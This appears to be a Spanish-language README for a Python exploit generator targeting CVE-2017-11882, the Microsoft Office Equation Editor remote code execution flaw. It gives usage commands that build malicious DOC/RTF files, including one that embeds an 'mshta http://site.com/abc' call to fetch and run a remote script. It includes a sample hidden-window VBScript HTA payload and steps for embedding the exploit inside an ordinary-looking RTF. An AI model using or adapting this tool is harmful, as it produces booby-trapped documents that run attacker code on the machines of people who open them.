
Generador de exploits basado en Python para CVE-2017-11882 (ejecución remota de código del Editor de Ecuaciones de Microsoft Office) con soporte para shellcode personalizado y payloads mshta a través de archivos RTF/DOC.
43b script original de https://github.com/embedi/CVE-2017-11882
109b script original de https://github.com/unamer/CVE-2017-11882/ (¡un aplauso, ahora el código de unamer ya puede ejecutar shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
usar mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
La longitud del comando 43b no puede exceder 43 bytes, la longitud del comando 109b no puede exceder 109 bytes
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
En realidad, el método para el contenido personalizado lo aprendí de otros maestros, ya lo había escrito como script hace mucho tiempo. Originalmente no planeaba hacerlo público, pero al ver que alguien en el grupo ya lo había publicado, no tuve más remedio que hacerlo público. En realidad, el método es muy simple: solo necesitas abrir el archivo rtf normal con un editor de texto, copiar todo el contenido antes de {*\datastore}, reemplazar el contenido antes de {\object\objautlink\objupdate}, y así queda. Por lo tanto, escribirlo en un script es muy sencillo.
Modo de uso para agregar contenido personalizado, elige cualquier script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
El contenido personalizado está en input.rtf.
En cuanto al último script de exploit de 605 bytes de unamer, no lo actualizaré. Si te interesa, modifícalo tú mismo.